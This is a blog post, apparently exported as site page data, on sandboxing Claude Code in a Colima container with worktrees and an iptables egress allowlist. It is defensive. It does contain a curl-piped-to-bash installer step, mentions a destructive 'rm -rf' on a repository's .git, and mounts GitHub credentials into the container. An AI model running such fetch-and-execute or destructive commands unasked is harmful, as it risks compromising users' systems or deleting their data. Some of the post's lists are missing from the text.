{"componentChunkName":"component---src-templates-post-template-js","path":"/posts/claude-code-sandbox","result":{"data":{"markdownRemark":{"id":"17657059-a5e5-5075-88ff-3cd43913be44","html":"

\"Sandboxing

\n

Letting an agent run with rm, bash *, and gh pr create * auto-approved is a productivity jump — right up until the moment the agent guesses wrong about which rm -rf it was meant to run. The fix isn’t a narrower allowlist; it’s a smaller blast radius. Drop Claude Code into a Linux container, mount only a throwaway git worktree of the repos it should edit, lock outbound traffic to a short allowlist, and suddenly the wide allowlist is a feature instead of a footgun.

\n

This post walks through the full setup end-to-end: installing Colima on macOS, building the sandbox image, an iptables-based egress firewall installed at container start, and a launcher script that creates a fresh ephemeral container plus per-session worktrees on every invocation — without making you re-login every time. You should be able to copy-paste your way from zero to a working sandbox in about fifteen minutes (plus ~5 minutes for the first image build).

\n

1. Install Colima and the Docker CLI

\n

On macOS we don’t want Docker Desktop — it’s proprietary and its license gets awkward for commercial use above a small headcount. Colima is MIT-licensed and boots a lightweight Linux VM that speaks the Docker API, so the regular docker CLI talks to it transparently.

\n
# Homebrew installs both; the docker CLI is a separate package from Docker Desktop.\nbrew install colima docker\n\n# Boot the VM. --vm-type vz uses Apple's Virtualization.framework on Apple Silicon\n# (faster, less RAM); drop that flag on Intel Macs and it falls back to QEMU.\ncolima start --cpu 4 --memory 4 --vm-type vz\n\n# Verify: should print server + client versions, no \"Cannot connect\" error.\ndocker info
\n

If docker info errors with “Cannot connect to the Docker daemon,” Colima didn’t start cleanly — colima status will tell you why, usually either “not enough disk” or a stale socket from a previous Docker Desktop install. colima delete && colima start ... is the reset button.

\n

Colima’s VM persists across reboots but not across colima stop. Once running, you can mostly forget it exists.

\n

2. Wire up GitHub auth before you need it

\n

The sandbox mounts ~/.config/gh read-only, so gh and git push inside the container use whatever token your host user has. Create a fine-grained personal access token at https://github.com/settings/personal-access-tokens/new — scope it to only the repos the agent should touch, grant Contents: read/write and Pull requests: read/write, leave everything else as No access.

\n

Stash the token in macOS Keychain rather than a plaintext dotfile, and export it from your shell rc so the launcher can forward it:

\n
security add-generic-password -a \"$USER\" -s gh-token -w \"<paste-token-once>\"\n\ncat >> ~/.zshrc <<'EOF'\nexport GH_TOKEN=$(security find-generic-password -s gh-token -w 2>/dev/null)\nEOF\n\nexec zsh\ngh auth status   # should say: Logged in to github.com (GH_TOKEN)
\n

Also make sure ~/.gitconfig has your name + email — the container mounts it read-only, so commits inside inherit the host identity.

\n

3. The Dockerfile

\n

Debian slim base, non-root agent user whose uid/gid are injected at build time so bind-mounted files aren’t owned by root. Installs a pragmatic toolchain for most projects Claude Code will touch: Node 20 (for claude itself), Go 1.22, Python 3, gh, ripgrep, jq, git, and build-essential — trim or extend as needed. A system-wide gitconfig rewrites git@github.com:... SSH remotes to HTTPS on the fly so the credential helper can auth via gh — that way we don’t need to forward ~/.ssh into the container at all.

\n
# sandbox/Dockerfile\nFROM debian:bookworm-slim\n\nARG DEBIAN_FRONTEND=noninteractive\nARG GO_VERSION=1.22.6\n# Injected by run-agent.sh so the in-container user matches the host's uid/gid.\nARG HOST_UID=1000\nARG HOST_GID=1000\n\n# Base tooling — --no-install-recommends keeps the layer small.\n# iptables/ipset/dnsutils are required by init-firewall.sh, which runs\n# at container start to install the egress allowlist (see §4).\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        ca-certificates curl gnupg \\\n        git \\\n        ripgrep jq make python3 \\\n        build-essential \\\n        iptables ipset dnsutils \\\n && rm -rf /var/lib/apt/lists/*\n\n# GitHub CLI — official apt repo.\nRUN curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \\\n      | gpg --dearmor -o /usr/share/keyrings/githubcli-archive-keyring.gpg \\\n && echo \"deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main\" \\\n      > /etc/apt/sources.list.d/github-cli.list \\\n && apt-get update && apt-get install -y --no-install-recommends gh \\\n && rm -rf /var/lib/apt/lists/*\n\n# Node 20 via NodeSource (Debian's nodejs package lags).\nRUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \\\n && apt-get install -y --no-install-recommends nodejs \\\n && rm -rf /var/lib/apt/lists/*\n\n# Go from official tarball — apt version is too old for us.\nRUN set -eux; \\\n    arch=\"$(dpkg --print-architecture)\"; \\\n    case \"$arch\" in \\\n      amd64) goarch=amd64 ;; \\\n      arm64) goarch=arm64 ;; \\\n      *) echo \"unsupported arch $arch\" >&2; exit 1 ;; \\\n    esac; \\\n    curl -fsSL \"https://go.dev/dl/go${GO_VERSION}.linux-${goarch}.tar.gz\" \\\n      | tar -C /usr/local -xz\nENV PATH=\"/usr/local/go/bin:/home/agent/go/bin:${PATH}\"\nENV GOPATH=/home/agent/go\n\n# Claude Code CLI itself.\nRUN npm install -g @anthropic-ai/claude-code && npm cache clean --force\n\n# Egress firewall script — invoked by run-agent.sh as root via `docker\n# exec -u 0` after container start, before the agent user gets a shell.\nCOPY init-firewall.sh /usr/local/bin/init-firewall.sh\nRUN chmod 0755 /usr/local/bin/init-firewall.sh\n\n# Rewrite SSH remotes to HTTPS and use gh as credential helper — avoids\n# needing to mount ~/.ssh at all.\nRUN printf '%s\\n' \\\n    '[url \"https://github.com/\"]' \\\n    '    insteadOf = git@github.com:' \\\n    '[credential \"https://github.com\"]' \\\n    '    helper = !gh auth git-credential' \\\n    > /etc/gitconfig\n\n# Non-root user matching host uid/gid. macOS's gid 20 (staff) collides with\n# Debian's dialout group, so reuse the existing group when the gid is taken.\nRUN set -eux; \\\n    if ! getent group \"${HOST_GID}\" >/dev/null; then \\\n        groupadd --system --gid \"${HOST_GID}\" agent; \\\n    fi; \\\n    useradd --system --uid \"${HOST_UID}\" --gid \"${HOST_GID}\" \\\n            --home-dir /home/agent --shell /bin/bash --create-home agent; \\\n    mkdir -p /workspace /home/agent/go; \\\n    chown -R \"${HOST_UID}:${HOST_GID}\" /workspace /home/agent\n\n# Tag the image with the baked-in uid so the launcher can detect stale\n# images when the host uid changes and rebuild automatically.\nENV CLAUDE_SANDBOX_UID=${HOST_UID}\n\nUSER agent\nWORKDIR /workspace\nCMD [\"claude\"]
\n

Build it once manually to sanity-check — the launcher will rebuild automatically after this:

\n
docker build \\\n    --build-arg HOST_UID=\"$(id -u)\" \\\n    --build-arg HOST_GID=\"$(id -g)\" \\\n    -t claude-sandbox:latest sandbox/
\n

First build takes ~2 minutes (mostly the Go tarball and apt-get). Subsequent builds hit the Docker layer cache and take seconds.

\n

4. The egress firewall

\n

If outbound network is wide open, a prompt-injection or a compromised npm package can exfiltrate /workspace or the mounted GH token to any attacker-controlled host. The fix is a one-shot script that runs as root inside the container at start: flush iptables, default-DROP OUTPUT, then ACCEPT only TCP/443 to an ipset populated by resolving a short list of hostnames at install time.

\n
#!/usr/bin/env bash\n# sandbox/init-firewall.sh — runs as root inside the container, called\n# by run-agent.sh via `docker exec -u 0` before the agent gets a shell.\nset -euo pipefail\n\nALLOWED_DOMAINS=(\n    api.anthropic.com statsig.anthropic.com sentry.io\n    registry.npmjs.org registry.yarnpkg.com\n    proxy.golang.org sum.golang.org\n    github.com api.github.com codeload.github.com\n    objects.githubusercontent.com ghcr.io\n    # …add hosts your project actually needs (PyPI, GCP, internal APIs, etc.)\n)\n\n# Reset state so reruns are idempotent.\niptables -F; iptables -X\niptables -t nat -F; iptables -t nat -X\nipset list allowed-domains >/dev/null 2>&1 && ipset destroy allowed-domains\nipset create allowed-domains hash:net family inet hashsize 1024 maxelem 65536\n\n# Loopback + replies + DNS (so we can resolve allowlisted hosts at runtime).\niptables -A INPUT  -i lo -j ACCEPT\niptables -A OUTPUT -o lo -j ACCEPT\niptables -A INPUT  -m state --state ESTABLISHED,RELATED -j ACCEPT\niptables -A OUTPUT -p udp --dport 53 -j ACCEPT\niptables -A OUTPUT -p tcp --dport 53 -j ACCEPT\n\n# Resolve each host, dump every v4 IP into the ipset.\nfor host in \"${ALLOWED_DOMAINS[@]}\"; do\n    ips=\"$(getent ahosts \"${host}\" | awk '{print $1}' \\\n        | grep -E '^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+$' | sort -u || true)\"\n    [[ -z \"${ips}\" ]] && { echo \"[firewall] WARN: ${host} did not resolve\"; continue; }\n    while IFS= read -r ip; do ipset add allowed-domains \"${ip}\" 2>/dev/null || true; done <<<\"${ips}\"\ndone\n\n# Permit only tcp/443 (and tcp/80 for redirects) to anything in the ipset.\niptables -A OUTPUT -p tcp --dport 443 -m set --match-set allowed-domains dst -j ACCEPT\niptables -A OUTPUT -p tcp --dport 80  -m set --match-set allowed-domains dst -j ACCEPT\n\n# Lock down defaults.\niptables -P INPUT DROP; iptables -P FORWARD DROP; iptables -P OUTPUT DROP\n\n# Sanity check — `-f` would fail on a 404, which still proves we reached\n# the host, so use `-sS` so any HTTP response counts as success.\ncurl -sS --max-time 5 -o /dev/null https://api.anthropic.com \\\n    || { echo \"[firewall] api.anthropic.com unreachable\"; exit 1; }\n! curl -sS --max-time 5 -o /dev/null https://example.com 2>/dev/null \\\n    || { echo \"[firewall] example.com is reachable (should be blocked)\"; exit 1; }
\n

A few subtle points worth flagging:

\n\n

5. The launcher

\n

The launcher’s job is now bigger than it was. Each invocation:

\n
    \n
  1. Provisions a git worktree per repo under ~/.cache/claude-sandbox/sessions/<id>/ so the agent never touches the host’s real working tree.
    2. \n
  2. Starts a fresh ephemeral container (--rm); session bind-mounts point at the worktree, not at the real checkouts.
    3. \n
  3. Installs the firewall as root, then drops into the agent user.
    4. \n
  4. On exit, prunes worktrees that have no uncommitted changes and keeps the rest for manual recovery.
    5. \n
\n

OAuth still survives across these ephemeral sessions because Claude Code’s persistent state lives on the host (in ~/.claude/ and ~/.claude.json) and we mount both into the container. There’s a real gotcha there — see §6.

\n
#!/usr/bin/env bash\n# sandbox/run-agent.sh — launch Claude Code in an ephemeral, per-session sandbox.\nset -euo pipefail\n\nIMAGE=\"claude-sandbox:latest\"\nSANDBOX_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nMASTER_DIR=\"$(cd \"${SANDBOX_DIR}/..\" && pwd)\"\nSESSIONS_ROOT=\"${HOME}/.cache/claude-sandbox/sessions\"\n\ndie() { printf 'error: %s\\n' \"$*\" >&2; exit 1; }\n\n# --- Preflight ----------------------------------------------------------\ncommand -v docker >/dev/null 2>&1 || die \"install colima + docker first\"\ndocker info      >/dev/null 2>&1 || die \"colima not running — 'colima start'\"\n[[ -n \"${GH_TOKEN:-}\" || -d \"${HOME}/.config/gh\" ]] \\\n    || die \"no GH_TOKEN and no ~/.config/gh — set up GitHub auth first\"\n# See §6 — without ~/.claude.json mounted, every session re-runs first-run setup.\n[[ -e \"${HOME}/.claude.json\" ]] || touch \"${HOME}/.claude.json\"\n\nHOST_UID=\"$(id -u)\"; HOST_GID=\"$(id -g)\"\n\n# --- Rebuild image if host uid drifted ----------------------------------\nIMAGE_UID=\"\"\nif docker image inspect \"${IMAGE}\" >/dev/null 2>&1; then\n    IMAGE_UID=\"$(docker image inspect \\\n        --format '{{ range .Config.Env }}{{ println . }}{{ end }}' \"${IMAGE}\" \\\n      | awk -F= '$1==\"CLAUDE_SANDBOX_UID\"{print $2}')\"\nfi\nif [[ -z \"${IMAGE_UID}\" || \"${IMAGE_UID}\" != \"${HOST_UID}\" ]]; then\n    docker build \\\n        --build-arg HOST_UID=\"${HOST_UID}\" \\\n        --build-arg HOST_GID=\"${HOST_GID}\" \\\n        -t \"${IMAGE}\" \"${SANDBOX_DIR}\"\nfi\n\n# --- Per-session worktrees ---------------------------------------------\nSESSION_ID=\"$(date -u +%Y%m%dT%H%M%SZ)-$(openssl rand -hex 3)\"\nSESSION_ROOT=\"${SESSIONS_ROOT}/${SESSION_ID}\"\nmkdir -p \"${SESSION_ROOT}\"\nfor repo in repo-a repo-b; do\n    git -C \"${MASTER_DIR}/${repo}\" worktree add --detach \\\n        \"${SESSION_ROOT}/${repo}\" HEAD >/dev/null\ndone\n\nCONTAINER_NAME=\"claude-sandbox-${SESSION_ID}\"\n\ncleanup() {\n    docker container inspect \"${CONTAINER_NAME}\" >/dev/null 2>&1 \\\n        && docker kill \"${CONTAINER_NAME}\" >/dev/null 2>&1 || true\n    for repo in repo-a repo-b; do\n        wt=\"${SESSION_ROOT}/${repo}\"\n        [[ -d \"${wt}\" ]] || continue\n        if [[ -z \"$(git -C \"${wt}\" status --porcelain 2>/dev/null || echo dirty)\" ]]; then\n            git -C \"${MASTER_DIR}/${repo}\" worktree remove --force \"${wt}\" \\\n                >/dev/null 2>&1 || true\n        else\n            printf '→ Kept %s (uncommitted — recover or rm manually)\\n' \"${wt}\"\n        fi\n    done\n    rmdir \"${SESSION_ROOT}\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\n# --- Run -----------------------------------------------------------------\ndocker run -d --rm \\\n    --name \"${CONTAINER_NAME}\" --hostname \"claude-sandbox\" \\\n    --cap-drop ALL --cap-add NET_ADMIN --cap-add NET_RAW \\\n    --security-opt no-new-privileges \\\n    --memory 4g --cpus 4 \\\n    ${GH_TOKEN:+-e \"GH_TOKEN=${GH_TOKEN}\"} \\\n    -v \"${SESSION_ROOT}/repo-a:/workspace/repo-a\" \\\n    -v \"${SESSION_ROOT}/repo-b:/workspace/repo-b\" \\\n    -v \"${MASTER_DIR}/repo-a/.git:${MASTER_DIR}/repo-a/.git\" \\\n    -v \"${MASTER_DIR}/repo-b/.git:${MASTER_DIR}/repo-b/.git\" \\\n    -v \"${HOME}/.config/gh:/home/agent/.config/gh\" \\\n    -v \"${HOME}/.gitconfig:/home/agent/.gitconfig:ro\" \\\n    -v \"${HOME}/.claude:/home/agent/.claude\" \\\n    -v \"${HOME}/.claude.json:/home/agent/.claude.json\" \\\n    -w /workspace \"${IMAGE}\" sleep infinity >/dev/null\n\ndocker exec -u 0 \"${CONTAINER_NAME}\" /usr/local/bin/init-firewall.sh \\\n    || die \"firewall init failed — see 'docker logs ${CONTAINER_NAME}'\"\n\n# Don't `exec` here — that skips the EXIT trap and leaks containers/worktrees.\ndocker_exec_flags=(-i); [[ -t 0 ]] && docker_exec_flags+=(-t)\ndocker exec \"${docker_exec_flags[@]}\" -w /workspace \"${CONTAINER_NAME}\" \"${@:-claude}\"
\n

A few things that look like minor stylistic choices but each cost an hour of debugging:

\n\n

6. The ~/.claude.json gotcha

\n

It’s tempting to mount only ~/.claude and call it done — that’s where the Claude.ai OAuth token (~/.claude/.credentials.json) lives, after all. But ephemeral sessions still re-prompt for first-run setup. A claude config get inside the container makes the cause obvious:

\n
Claude configuration file not found at: /home/agent/.claude.json\nA backup file exists at: /home/agent/.claude/backups/.claude.json.backup...
\n

Claude Code splits its state across two paths:

\n\n

Mounting only the directory leaves the sibling file behind. Without it, Claude treats every container as a fresh install and walks you through onboarding again. The fix is one extra -v plus a touch in the preflight (so docker doesn’t auto-create a directory if the host file doesn’t exist yet):

\n
[[ -e \"${HOME}/.claude.json\" ]] || touch \"${HOME}/.claude.json\"\n…\n-v \"${HOME}/.claude.json:/home/agent/.claude.json\" \\
\n

Both files are mounted writable, so config and project history written from inside the sandbox propagate back to the host. That also means concurrent host + sandbox sessions both write to the same file — a real race window if you regularly run claude in two places at once. For my workflow (one sandbox at a time, host Claude not running) it hasn’t bitten; YMMV.

\n

7. First run and lifecycle

\n
chmod +x sandbox/run-agent.sh sandbox/init-firewall.sh\n./sandbox/run-agent.sh
\n

On first launch, the launcher builds the image (~5 min), provisions the worktrees, starts the container, installs the firewall ([firewall] ready: 63 IPs allowed across 24 hosts), and drops you into Claude Code. Because the host’s ~/.claude.json already exists (from your normal host Claude usage), there’s no re-onboarding; OAuth comes along for the ride via ~/.claude/.credentials.json.

\n

A few commands you’ll end up using:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
CommandEffect
./sandbox/run-agent.shnew session: worktree + container + firewall + claude
./sandbox/run-agent.sh bashdrop into a shell instead of claude
Exit claude (or Ctrl-D)container removed; clean worktrees pruned, dirty ones kept
colima stop / rebootnothing to recover — sessions were ephemeral anyway
\n

What the sandbox buys you

\n\n

What’s still not isolated: anything you bind-mount is writable from inside, the parent .git is mounted writable so commits work (so rm -rf <repo>/.git would still nuke the host .git), and the allowlist is open enough to reach package registries — supply-chain risk is unchanged. This is a blast-radius reduction tool, not a containment tool for actively malicious code.

\n

Possible risks

\n

The sandbox is a meaningful step up from “wide allowlist on bare macOS,” but it is not a full security boundary. Go in knowing what it doesn’t protect against:

\n\n

Rule of thumb: treat the sandbox like a junior dev with your GitHub credentials and sudo on a VM. You wouldn’t let that person run arbitrary code without supervision, and you wouldn’t give them production tokens. Same discipline here — the firewall and worktree just mean the dev’s mistakes don’t propagate as fast or as far.

\n

Quote from the book I am reading.

\n
\n

The first rule of any technology used in a business is that automation applied to an efficient operation will magnify the efficiency. The second is that automation applied to an inefficient operation will magnify the inefficiency.

\n

— Bill Gates, Business @ the Speed of Thought

\n
","fields":{"slug":"/posts/claude-code-sandbox","tagSlugs":["/tag/claude-code/","/tag/docker/","/tag/sandbox/"]},"frontmatter":{"date":"2026-04-17T22:12:03.284Z","description":"A wide allowlist is only safe when the blast radius is small. Running Claude Code inside a per-session Colima container with a git worktree and an iptables egress allowlist keeps rm, bash, and gh pr create from ever touching host macOS.","tags":["claude-code","docker","sandbox"],"title":"Sandboxing Claude Code in a Long-Lived Container in MacOS","socialImage":"/media/claude-sandbox.jpg"}}},"pageContext":{"slug":"/posts/claude-code-sandbox"}}}